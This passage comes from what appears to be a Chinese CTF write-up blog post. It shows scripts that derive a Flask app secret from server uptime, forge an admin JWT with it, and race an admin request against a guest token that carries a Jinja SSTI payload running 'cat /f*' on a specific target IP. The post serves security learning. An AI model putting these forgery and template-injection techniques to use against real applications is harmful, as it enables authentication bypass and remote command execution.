time_started = current_time - uptime + offset
app_secret = hashlib.sha256(str(time_started).encode()).hexdigest()

print(f"启动时间({offset}): {time_started}")
print(f"密钥({offset}): {app_secret}")
print("-" * 50)
else:
print("无法提取运行时间")
except Exception as e:
print(f"请求失败: {e}")

if __name__ == "__main__":
get_app_secret()

伪造admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import jwt
import datetime

# 定义标头(Headers)
headers = {
"alg": "HS256",
"typ": "JWT"
}

# 定义有效载体(Payload)
token_dict = {
"id": 1,
"role": "admin",
"name": "Administrator"
}

# 密钥
secret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'

jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import threading
import jwt

target_url = "http://8.147.132.32:24710"
secret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'

# 创建两个token
admin_token = jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, secret, algorithm='HS256')
ssti_token = jwt.encode({"id": 2, "role": "guest", "name": "{{lipsum.__globals__.os.popen('cat /f*').read()}}"}, secret, algorithm='HS256')

def send_admin_request():
"""发送admin请求"""
cookies = {'td_cookie': '2928931217', 'session': admin_token}
response = requests.get(f"{target_url}/admin", cookies=cookies)
print(f"[+] 成功! 响应: {response.text}")

def send_ssti_request():
"""发送SSTI请求到首页来设置tempuser"""
cookies = {'td_cookie': '2928931217', 'session': ssti_token}
response = requests.get(target_url, cookies=cookies) # 访问首页来设置tempuser
# 这里不需要打印,因为我们只关心admin请求的结果

# 创建并启动线程
for i in range(100): # 尝试100次
t1 = threading.Thread(target=send_admin_request)
t2 = threading.Thread(target=send_ssti_request)
t1.start()
t2.start()
t1.join()
t2.join()

下周目标

把剩下的那道题打通,并尽力打isctf吧

文章直达:

https://shaneior.github.io/2025/11/26/%E4%BD%A0%E7%BC%BA%E5%A4%B1%E7%9A%84%E9%82%A3%E9%97%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%AF%BE/